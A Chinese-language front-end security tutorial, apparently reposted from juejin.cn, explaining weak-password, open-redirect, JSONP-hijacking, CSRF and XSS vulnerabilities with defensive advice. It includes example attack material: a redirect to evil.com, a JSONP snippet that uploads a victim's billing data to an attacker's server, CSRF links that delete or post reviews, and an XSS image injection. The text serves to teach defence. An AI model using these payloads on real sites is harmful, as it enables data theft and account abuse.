前端必备的 Web 安全知识(上)
在复杂的网络环境中,充斥着各类 Web 攻击,前端开发者在实现业务需求的同时,一定要兼顾安全,否则会造成不可挽回的巨大损失。而确保安全的最好路径就是知道黑客的具体攻击手段,本文列举了黑客常用的漏洞原理和实践案例,帮助大家查漏补缺、有效防御。
弱口令漏洞
攻击原理:用户在设置自己在平台上的密码时,密码强度太弱,可以被爆破或者猜出,从而导致仿冒登录。服务器/基础软件访问权限设置密码的强度太弱,可以被爆破或者猜出,从而导致仿冒登录,除此之外还可能间接导致:
- 泄露敏感信息
- 服务器被入侵
- 网络舆情事件
案例
黑客直接使用 burpsuite 跑弱口令字典进行爆破,获取到弱口令账户登录后进行各种违法操作,发现业务存在多个越权漏洞,通过越权漏洞可以获取平台全量业务信息
URL 任意跳转漏洞
在实现 URL 跳转逻辑时,待跳转 URL 本身或部分由用户提供,从而导致域名可以被用户控制,指向不安全站点,例如色情网站、博彩网站等,从而导致钓鱼、敏感信息泄露等业务危害。
案例
系统 A 在用户登录成功之后跳转到未登录前的页面,接口设计如下:
http://www.test.com/login.html?back_url=http://www.asdf.com
黑客发现该接口之后,构造如下 API 并发送给用户:
http://www.test.com/login.html?back_url=http://www.evil.com
用户访问之后进行登录跳转之后就跳到了黑客控制的钓鱼网站 http://www.evil.com
上,伪造和登录之后的页面非常相似的页面,要求用户付款以及输入个人敏感信息,引导用户打款到黑客账户,造成资损。
JSONP 劫持漏洞
业务使用 JSONP 进行跨域数据传输的时候,未对接口调用方进行可信认证,从而导致任何人都可以调用该接口获取数据。一些黑灰产可以在自己的网站上直接调用未校验源的 JSONP 接口,然后诱导对应站点的用户访问该站点,从而获取该用户对应的 JSONP 接口返回的数据。
案例
业务 A(<http://www.testA.com>
)需要对业务 B(<http://www.testB.com>
)提供用户个人账单信息,而业务 B 不想通过服务端调用业务 A 的接口,而是直接调用业务 A 的接口(http://www.testA.com/getBill.do?callback=jsonp1234
)进行个人账单信息展示。黑客在进行网站踩点的时候,发现了该 JSONP 接口,发现不需要任何验证可以直接调用,并且返回自己的账单信息,因此黑客在自己的网站 http://www.evil.com
植入了该接口的调用,js 代码如下:
<script>
function uploadBill(data){
$.ajax('/uploadBill.php', { data })
}
</script>
<script src="http://www.testA.com/getBill.do?callback=uploadBill"></script>
黑客将自己的首页通过推广手段让用户访问,用户在访问时自动触发该跨域调用,由于使用的是用户自己的身份认证标识,返回的用户账单被上传到了黑客的服务器上,造成敏感信息泄露。
因此,敏感信息要走服务端调用,并做好加签工作,不建议使用 JSONP 技术传递跨域数据,推荐使用 CORS 机制来获取跨域数据,如果必须要用,那么可以通过增加 refer 校验,只允许白名单内的域名获取数据。
CSRF 漏洞
CSRF 跨站请求伪造,全称 Cross-site request forgery。攻击者构造一个敏感的增删改接口,并将该 url 发送给用户,用户在点击的时候,携带的是自己的身份凭证,将会以用户身份执行该接口,从而带来一些不可预知的风险,任何有数据库/持久层内容增删改的业务接口,如果没有进行实现签名机制/token随机化,均存在 CSRF 漏洞,CSRF 的危害有:
- 篡改用户个人信息
- 执行敏感功能,比如付款,投诉,点赞等
- 增加/删除/修改敏感数据等
案例
删差评
假设有一个接口是: http://www.test.com/deleteUserComment?commentId=xxx
,攻击者是黑灰产,负责删除用户差评,此时他得知某用户对商品做了差评,评论 id 为 123456,此时他构造接口:http://www.test.com/deleteUserComment?commentId=123456>
,并且将该url转换为短链接 http://url.x
并告知用户中了 10w 大奖,当用户点击上述领奖链接后,差评即被删除。
刷好评
某业务评价评分接口存在 CSRF 漏洞,黑灰产构造商品评价五星链接,并将其转换为随机短链接,以优惠等虚假营销信息诱导用户点击 CSRF 短链接,用户在不知情情况下给某些商品五星好评。
恶意营销
某业务个人信息修改接口存在 CSRF 漏洞,黑灰产构造个人信息接口页面,并修改其中个人简介文案为「某某某商品价廉物美,我也在用」,并将其转换为随机短链接,以优惠/系统通知等虚假信息诱导大V,达人点击 CSRF 短链接,大V/达人在不知情情况下被修改个人简介为恶意营销内容,帮助其进行非法营销。
XSS 漏洞
用户输入的内容被当做 html/js 代码直接填充到 HTML 文本里面,并被浏览器直接渲染,若用户输入一些有害 js 代码,这些代码会被直接执行,导致不同程度的危害,比如敏感信息泄露,登录仿冒等业务危害。 XSS 全称是 Cross Site Scripting,中文翻译为跨站脚本攻击,简称由于与 CSS 重名,顾更名为 XSS,XSS 有以下子类型:
- 反射型 XSS,用户输入的有害代码,传递到服务端,服务端不做存储,直接返回给页面进行渲染。
- 存储型 XSS,用户输入的有害代码,传递到服务端,服务端将其做持久化存储,其他业务/页面从数据库中获取该数据之后进行展示。
- DOM型 XSS,和服务端无关,前端 js 代码从页面获取用户输入内容,不做任何处理直接插入到页面中。
其中存储型 XSS 因为其持久化的原因,危害最大,XSS 可造成以下危害:
- 登录仿冒
- 敏感信息泄露
- 蠕虫传播
- 外部舆论事件
- 配合其他漏洞绕过安全策略,比如配合CSRF执行敏感操作,配合JSONP获取敏感信息等
案例
存储型 XSS 案例
黑客直接在输入框中输入: <img src="某营销图片/某涉政涉黄图片" />
,系统将其存储进入数据库中,另外一个页面调用该数据,将其插入某个页面中,正常用户访问该页面时,浏览器将展示不合规的营销图片,或者涉黄社政图片。
登录仿冒利用案例
黑客可以通过在页面上嵌入『获取用户cookie中session_id』的js代码,当用户访问该页面的时候,非法获取用户的登录态。在自己的电脑上替换成用户的登录态,以用户的身份进行登录。
网络舆论事件案例
若某业务存在 XSS 不安全输出点,黑客可以通过 js 将当前页面改为「黑页」,从而造成社会舆论事件。
配合其他漏洞绕过安全策略
- XSS 从 Cookie 中获取 CSRF Token,配合 CSRF 相关操作过程,绕过 CSRF 访问,导致敏感操作被执行
- XSS 所在页面一般在公司安全白名单范围内,当某业务存在 XSS 漏洞时,黑客可以从该页面发起 JSONP 请求,绕过白名单对 JSONP 接口的防护,从而导致 JSONP 中敏感信息泄露。
转载自:https://juejin.cn/post/7246204866035974199